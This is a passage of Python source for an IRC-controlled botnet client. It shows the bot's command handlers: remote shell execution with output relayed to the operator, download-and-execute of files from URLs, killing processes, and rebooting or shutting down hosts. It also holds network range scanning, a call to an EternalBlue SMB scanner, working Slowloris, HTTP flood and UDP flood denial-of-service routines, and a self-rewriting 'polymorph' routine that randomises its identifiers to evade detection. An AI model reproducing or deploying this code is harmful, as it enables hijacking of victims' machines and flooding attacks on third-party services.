                    threading.Thread(target=self.Slowloris, args=(self.txMeqlni[4],self.txMeqlni[5],self.txMeqlni[6],self.txMeqlni[7],)).start()
                elif self.txMeqlni[3]==":bot.scannetrange":
                    threading.Thread(target=self.DATSulcH, args=(self.txMeqlni[4],self.txMeqlni[5],)).start()
                elif self.txMeqlni[3]==":bot.shell":
                    try:
                            fjuThODd = subprocess.Popen(self.txMeqlni[4:],stdout=subprocess.PIPE)
                            for VWSgiNKV in iter(fjuThODd.stdout.readline,''):
                                    self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,VWSgiNKV))
                    except:
                            self.oWLdHNqx.send("PRIVMSG %s :Failed to execute command.\n" % self.ZoyaERuG)
                elif self.txMeqlni[3]==":bot.repack":
                    self.dFcQEbBo()
                elif self.txMeqlni[3]==":http.download":
                    try:
                        urllib.urlretrieve(self.txMeqlni[4],self.txMeqlni[5])
                        self.oWLdHNqx.send("PRIVMSG %s :Downloaded.\n" % (self.ZoyaERuG))
                    except:
                        self.oWLdHNqx.send("PRIVMSG %s :Could not download!\n" % (self.ZoyaERuG))
                elif self.txMeqlni[3]==":http.execute":
                    try:
                        urllib.urlretrieve(self.txMeqlni[4],self.txMeqlni[5])
                        subprocess.Popen([("%s" % self.txMeqlni[5])])
                        self.oWLdHNqx.send("PRIVMSG %s :Downloaded and executed.\n" % (self.ZoyaERuG))
                    except:
                        self.oWLdHNqx.send("PRIVMSG %s :Could not download or execute!\n" % (self.ZoyaERuG))
                elif self.txMeqlni[3]==":bot.killme":
                    self.oWLdHNqx.send("PRIVMSG %s :Goodbye!\n" % (self.ZoyaERuG))
                    os.popen("taskkill /f /im " + str(os.getpid())) #windows kill
                    os.popen("kill -9 " + str(os.getpid())) #linux kill
                elif self.txMeqlni[3]==":bot.move":
                    self.lwADeiuo=self.txMeqlni[4] #Server
                    self.ZoyaERuG=self.txMeqlni[5] #Channel
                    self.IhfIsqFG=self.txMeqlni[6] #Channel key
                    while 1:
                        try:
                            self.WEDZgaKC()
                        except:
                            pass
                elif self.txMeqlni[3]==":bot.killbyname":
                    self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,os.popen("taskkill /f /im %s" % self.txMeqlni[4])))
                    self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,os.popen("killall -9 %s" % self.txMeqlni[4])))
                elif self.txMeqlni[3]==":bot.killbypid":
                    self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,os.popen("taskkill /f /pid %s" % self.txMeqlni[4])))
                    self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,os.popen("kill -9 %s" % self.txMeqlni[4])))
                elif self.txMeqlni[3]==":bot.restart":
                    self.oWLdHNqx.send("PRIVMSG %s :Restarting!\n" % (self.ZoyaERuG))
                    os.popen("SHUTDOWN /R /T 00") #windows restart
                    os.popen("reboot") #linux restart
                elif self.txMeqlni[3]==":bot.shutdown":
                    self.oWLdHNqx.send("PRIVMSG %s :Shutting down!\n" % (self.ZoyaERuG))
                    os.popen("SHUTDOWN /S /T 00")
                elif self.txMeqlni[3]==":bot.eternalblue-smb":
                    for i in range(0,32):
                        threading.Thread(target=Scanner, args=(self.txMeqlni[4])).start()
            except IndexError or TypeError:
                pass

    def Slowloris(self, Target, attackPort, sockets, attackTime):
        endtime = time.time()+int(attackTime)
        Packets = 0
        fds = []
        for iteration in xrange(0, int(sockets)):
            fds.append("")
        while 1:
            for iteration in xrange(0, int(sockets)):
                fds[iteration] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                try:
                    fds[iteration].connect((Target, int(attackPort)))
                except:
                    pass
            httppacket = "GET / HTTP/1.1\nHost: %s:%s\nUser-agent: %s\nAccept: */*\nConnection: Keep-Alive\n\n" % (Target, attackPort, choice(self.useragents))
            for byte in httppacket:
                for fd in fds:
                    try:
                        fd.send(byte)
                        Packets+=1
                    except:
                        try:
                            fd.connect((Target, int(attackPort)))
                        except:
                            pass
                if endtime<time.time():
                    self.oWLdHNqx.send("PRIVMSG %s :Made %s connections!\n" % (self.ZoyaERuG, Packets))
                    for fd in fds:
                        try:
                            fd.close()
                        except:
                            pass
                    return
                time.sleep(1)
                Packets = 0

    def HTTPFlood(self, Target, attackPort, attackTime):
        endtime = time.time()+int(attackTime)
        Packets = 0
        while endtime>time.time():
            try:
                httpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                httpsock.connect((Target, int(attackPort)))
                httppacket = "GET / HTTP/1.1\nHost: %s:%s\nUser-agent: %s\nAccept: */*\nConnection: Keep-Alive\n\n" % (Target, attackPort, choice(self.useragents))
                httpsock.send(httppacket)
                httpsock.close()
                Packets += 1
            except:
                pass
        self.oWLdHNqx.send("PRIVMSG %s :Sent %s requests averaging at %d requests per second.\n" % (self.ZoyaERuG, Packets, (Packets/int(attackTime))))

    def UDPFood(self, Target, attackPort, packetSize, attackTime): #Yes, I knoe it says udpfood. its a joke. sleep is quite nessasary right now
#UDP flood
        Packets = 0
        if attackPort == "0":
            packet=os.urandom(int(packetSize))
        else:
            packet="\xff"*int(packetSize)
        endtime = time.time()+int(attackTime)
        while endtime>time.time():
            try:
                udpsock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
                if attackPort=="0":
                    udpsock.sendto(packet,(Target, randrange(1,65535)))
                else:
                    udpsock.sendto(packet,(Target, int(attackPort)))
                Packets+=1
            except:
                pass
        udpmb=(Packets*int(packetSize))/1048576
        udpmbs=udpmb/int(attackTime)
        self.oWLdHNqx.send("PRIVMSG %s :%s packets sent, %s packets/s Sent %s MB, %s MB/s\n" % (self.ZoyaERuG, Packets,(Packets/int(attackTime)),udpmb,udpmbs))

    def dFcQEbBo(self):
#polymorph
        if self.wwoHYcGX().endswith("exe"):
            self.oWLdHNqx.send("PRIVMSG %s :Not repacking compiled EXE!\n" % (self.ZoyaERuG))
            pass
        else:
            kXiTsmAM=open(argv[0],"r")
            SkPfqvVb=kXiTsmAM.read()
            kXiTsmAM.close()
            tPRXIETg=['Scanner','shellcode','exploit','LdkDvEjz', 'squdbhNF', 'squdbhNF', 'pJRtMXnr', 'krZuqOoS', 'djHsNKTC', 'MTCLjCqS', 'wwoHYcGX', 'WEDZgaKC', 'ZyUfnKmY', 'lzvJGQhK', 'uVcgrMdB', 'eLdpmooV', 'lwADeiuo', 'ksTdhuPd', 'qHXlKBTz', 'ZoyaERuG', 'nNCRXcyX', 'cvECZTOr', 'tPRXIETg', 'qoSYrsXg', 'kXiTsmAM', 'cOCaBrUO', 'UvSLWvAL', 'dFcQEbBo', 'trbOkDUX', 'upKurXmE', 'oWLdHNqx', 'mbaHoFcq', 'wqwOsYys', 'mbaHoFcq', 'pJfokfFb', 'HTdNRlTI', 'BuHzRnte', 'IhfIsqFG', 'SkPfqvVb', 'NeZktZqq', 'PDZDyIcr', 'cXVlBQPo', 'SQrrWUOl', 'iYGvSVSV', 'NqTdiWqy', 'AFrYBRhx', 'vfEjUri', 'NYawcQJk', 'rjsmgsgB', 'TQoQoTBw', 'YqvrmAfa', 'kQUqgxxv', 'aZhKIvaK', 'VOUZIdZn', 'nATvCwXH', 'bVfrYZOb', 'utfvVkYv', 'DATSulcH', 'NQrbUKHk', 'aQvbntXQ', 'txMeqlni', 'fjuThODd', 'DKjxyXtL', 'VWSgiNKV', 'GukfgoOr', 'uLRsefIV', 'llemeLCF', 'zTzQlGDR', 'FgBgausc', 'fWAffhSo', 'evqaobDM', 'JMSdYsiE', 'JtoyJZkp', 'SZwEyAvn', 'bXivjwVX', 'UQGWeDdr', 'FgBgausc', 'CyKuZgmu', 'Slowloris', 'HTTPFlood', 'UDPFood', 'attackPort', 'Target', 'endtime', 'fds', 'fd', 'Packets', 'attackPort', 'attackTime', 'udpmbs', 'udpmb', 'udpsock', 'Porty', 'Antis', 'Anti', 'Result', 'iteration', 'byte', 'httppacket', 'packetSize', 'useragents']
            for qoSYrsXg in tPRXIETg:
                SkPfqvVb=SkPfqvVb.replace(qoSYrsXg,self.squdbhNF(randrange(5,8)))
            cOCaBrUO=open(argv[0],"w")
            cOCaBrUO.write(SkPfqvVb)
            cOCaBrUO.close()
            self.oWLdHNqx.send("PRIVMSG %s :Repacked code!\n" % (self.ZoyaERuG))

while 1:
    try:
        pJRtMXnr()
    except:
        time.sleep(30)